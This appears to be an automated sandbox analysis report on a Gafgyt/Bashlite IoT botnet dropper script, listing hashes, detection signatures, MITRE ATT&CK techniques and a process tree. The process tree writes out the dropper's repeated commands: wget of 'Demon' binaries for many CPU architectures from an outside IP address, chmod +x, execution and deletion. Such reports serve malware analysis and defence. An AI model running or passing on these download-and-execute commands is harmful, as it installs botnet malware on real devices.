gafgyt | bf9fa0c44e56d564d8675f89533c1930b9481597d1f0d09153757d595b8ddaa0

General

Target

bins.sh
Size

2KB
MD5

a754f4cf9d6ba2d574cd90bf04d1bc35
SHA1

b0191e89c26057b6132f3314fa685e1879c7dc62
SHA256

bf9fa0c44e56d564d8675f89533c1930b9481597d1f0d09153757d595b8ddaa0
SHA512

600b970d65a1b8d80e0c7e9808cff50fbb610762a97d619293b859383c85ff671a28793f49d8207c984ffe113c63dabfa66d3df4d922b32c79ce707b3393162f

Score

10^/10

gafgyt botnet defense_evasion discovery

Malware Config

Signatures

Detected Gafgyt variant 1 IoCs

Processes:

resource	yara_rule
/tmp/Demon.mips	family_gafgyt

Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
botnet gafgyt
File and Directory Permissions Modification 1 TTPs 14 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid process

1645 chmod
1608 chmod
1635 chmod
1650 chmod
1619 chmod
1587 chmod
1597 chmod
1614 chmod
1625 chmod
1630 chmod
1640 chmod
1582 chmod
1592 chmod
1603 chmod
Executes dropped EXE 1 IoCs

Processes:

Demon.mips

ioc pid process

/tmp/Demon.mips 1583 Demon.mips

pid	process
1645	chmod
1608	chmod
1635	chmod
1650	chmod
1619	chmod
1587	chmod
1597	chmod
1614	chmod
1625	chmod
1630	chmod
1640	chmod
1582	chmod
1592	chmod
1603	chmod

ioc	pid	process
/tmp/Demon.mips	1583	Demon.mips

Reads system routing table 1 TTPs 3 IoCs

Gets active network interfaces from /proc virtual filesystem.

discovery

Internet Connection Discovery

T1016.001

Processes:

Demon.x86Demon.i686Demon.i586

description	ioc	process
File opened for reading	/proc/net/route	Demon.x86
File opened for reading	/proc/net/route	Demon.i686
File opened for reading	/proc/net/route	Demon.i586

Changes its process name 3 IoCs

Processes:

Demon.x86Demon.i686Demon.i586

description	pid	process
Changes the process name, possibly in an attempt to hide itself	1598	Demon.x86
Changes the process name, possibly in an attempt to hide itself	1609	Demon.i686
Changes the process name, possibly in an attempt to hide itself	1620	Demon.i586

Reads system network configuration 1 TTPs 3 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

Processes:

Demon.i586Demon.x86Demon.i686

description	ioc	process
File opened for reading	/proc/net/route	Demon.i586
File opened for reading	/proc/net/route	Demon.x86
File opened for reading	/proc/net/route	Demon.i686

System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetDemon.mipsrm

pid process

1571 wget
1583 Demon.mips
1585 rm

pid	process
1571	wget
1583	Demon.mips
1585	rm

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetwgetwgetwgetwgetwgetwgetwgetwgetwgetwgetwgetwget

description	ioc	process
File opened for modification	/tmp/Demon.arm5	wget
File opened for modification	/tmp/Demon.mips	wget
File opened for modification	/tmp/Demon.mpsl	wget
File opened for modification	/tmp/Demon.sh4	wget
File opened for modification	/tmp/Demon.arm6	wget
File opened for modification	/tmp/Demon.i686	wget
File opened for modification	/tmp/Demon.m68k	wget
File opened for modification	/tmp/Demon.arm4	wget
File opened for modification	/tmp/Demon.x86	wget
File opened for modification	/tmp/Demon.ppc	wget
File opened for modification	/tmp/Demon.i586	wget
File opened for modification	/tmp/Demon.sparc	wget
File opened for modification	/tmp/Demon.arm7	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1570

/usr/bin/wget
wget http://38.123.149.216/Demon.mips
2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1571

/usr/bin/chmod
chmod +x Demon.mips
2⤵
- File and Directory Permissions Modification
PID:1582

/tmp/Demon.mips
./Demon.mips
2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:1583

/usr/bin/rm
rm -rf Demon.mips
2⤵
- System Network Configuration Discovery
PID:1585

/usr/bin/wget
wget http://38.123.149.216/Demon.mpsl
2⤵
- Writes file to tmp directory
PID:1586

/usr/bin/chmod
chmod +x Demon.mpsl
2⤵
- File and Directory Permissions Modification
PID:1587

/tmp/Demon.mpsl
./Demon.mpsl
2⤵
PID:1588

/usr/bin/rm
rm -rf Demon.mpsl
2⤵
PID:1590

/usr/bin/wget
wget http://38.123.149.216/Demon.sh4
2⤵
- Writes file to tmp directory
PID:1591

/usr/bin/chmod
chmod +x Demon.sh4
2⤵
- File and Directory Permissions Modification
PID:1592

/tmp/Demon.sh4
./Demon.sh4
2⤵
PID:1593

/usr/bin/rm
rm -rf Demon.sh4
2⤵
PID:1595

/usr/bin/wget
wget http://38.123.149.216/Demon.x86
2⤵
- Writes file to tmp directory
PID:1596

/usr/bin/chmod
chmod +x Demon.x86
2⤵
- File and Directory Permissions Modification
PID:1597

/tmp/Demon.x86
./Demon.x86
2⤵
- Reads system routing table
- Changes its process name
- Reads system network configuration
PID:1598

/usr/bin/rm
rm -rf Demon.x86
2⤵
PID:1601

/usr/bin/wget
wget http://38.123.149.216/Demon.arm6
2⤵
- Writes file to tmp directory
PID:1602

/usr/bin/chmod
chmod +x Demon.arm6
2⤵
- File and Directory Permissions Modification
PID:1603

/tmp/Demon.arm6
./Demon.arm6
2⤵
PID:1604

/usr/bin/rm
rm -rf Demon.arm6
2⤵
PID:1606

/usr/bin/wget
wget http://38.123.149.216/Demon.i686
2⤵
- Writes file to tmp directory
PID:1607

/usr/bin/chmod
chmod +x Demon.i686
2⤵
- File and Directory Permissions Modification
PID:1608

/tmp/Demon.i686
./Demon.i686
2⤵
- Reads system routing table
- Changes its process name
- Reads system network configuration
PID:1609

/usr/bin/rm
rm -rf Demon.i686
2⤵
PID:1612

/usr/bin/wget
wget http://38.123.149.216/Demon.ppc
2⤵
- Writes file to tmp directory
PID:1613

/usr/bin/chmod
chmod +x Demon.ppc
2⤵
- File and Directory Permissions Modification
PID:1614

/tmp/Demon.ppc
./Demon.ppc
2⤵
PID:1615

/usr/bin/rm
rm -rf Demon.ppc
2⤵
PID:1617

/usr/bin/wget
wget http://38.123.149.216/Demon.i586
2⤵
- Writes file to tmp directory
PID:1618

/usr/bin/chmod
chmod +x Demon.i586
2⤵
- File and Directory Permissions Modification
PID:1619

/tmp/Demon.i586
./Demon.i586
2⤵
- Reads system routing table
- Changes its process name
- Reads system network configuration
PID:1620

/usr/bin/rm
rm -rf Demon.i586
2⤵
PID:1623

/usr/bin/wget
wget http://38.123.149.216/Demon.m68k
2⤵
- Writes file to tmp directory
PID:1624

/usr/bin/chmod
chmod +x Demon.m68k
2⤵
- File and Directory Permissions Modification
PID:1625

/tmp/Demon.m68k
./Demon.m68k
2⤵
PID:1626

/usr/bin/rm
rm -rf Demon.m68k
2⤵
PID:1628

/usr/bin/wget
wget http://38.123.149.216/Demon.sparc
2⤵
- Writes file to tmp directory
PID:1629

/usr/bin/chmod
chmod +x Demon.sparc
2⤵
- File and Directory Permissions Modification
PID:1630

/tmp/Demon.sparc
./Demon.sparc
2⤵
PID:1631

/usr/bin/rm
rm -rf Demon.sparc
2⤵
PID:1633

/usr/bin/wget
wget http://38.123.149.216/Demon.arm4
2⤵
- Writes file to tmp directory
PID:1634

/usr/bin/chmod
chmod +x Demon.arm4
2⤵
- File and Directory Permissions Modification
PID:1635

/tmp/Demon.arm4
./Demon.arm4
2⤵
PID:1636

/usr/bin/rm
rm -rf Demon.arm4
2⤵
PID:1638

/usr/bin/wget
wget http://38.123.149.216/Demon.arm5
2⤵
- Writes file to tmp directory
PID:1639

/usr/bin/chmod
chmod +x Demon.arm5
2⤵
- File and Directory Permissions Modification
PID:1640

/tmp/Demon.arm5
./Demon.arm5
2⤵
PID:1641

/usr/bin/rm
rm -rf Demon.arm5
2⤵
PID:1643

/usr/bin/wget
wget http://38.123.149.216/Demon.arm7
2⤵
- Writes file to tmp directory
PID:1644

/usr/bin/chmod
chmod +x Demon.arm7
2⤵
- File and Directory Permissions Modification
PID:1645

/tmp/Demon.arm7
./Demon.arm7
2⤵
PID:1646

/usr/bin/rm
rm -rf Demon.arm7
2⤵
PID:1648

/usr/bin/wget
wget http://38.123.149.216/Demon.ppc440fp
2⤵
PID:1649

/usr/bin/chmod
chmod +x Demon.ppc440fp
2⤵
- File and Directory Permissions Modification
PID:1650

/tmp/Demon.ppc440fp
./Demon.ppc440fp
2⤵
PID:1651

/usr/bin/rm
rm -rf Demon.ppc440fp
2⤵
PID:1652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

3

T1016

Internet Connection Discovery

2

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/Demon.mips

Filesize
211KB

MD5
455a2acf75de8da6ab7c4d9564cc69f9

SHA1
9e6016c6581289e685bcd6392bbf0bcf6b1182ff

SHA256
b08dea7aae12f248b7730af3c8f924dd67d3251d78df15a9dfb75e5d961df152

SHA512
a76b00d7f684d762ea9d5fa60d579d70b8bdfe75faedb59baae6ffb676d25d57826cde4a639c0b32dfcc3288a965591e148a489e6259910e3e0dbee90ccadeab

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads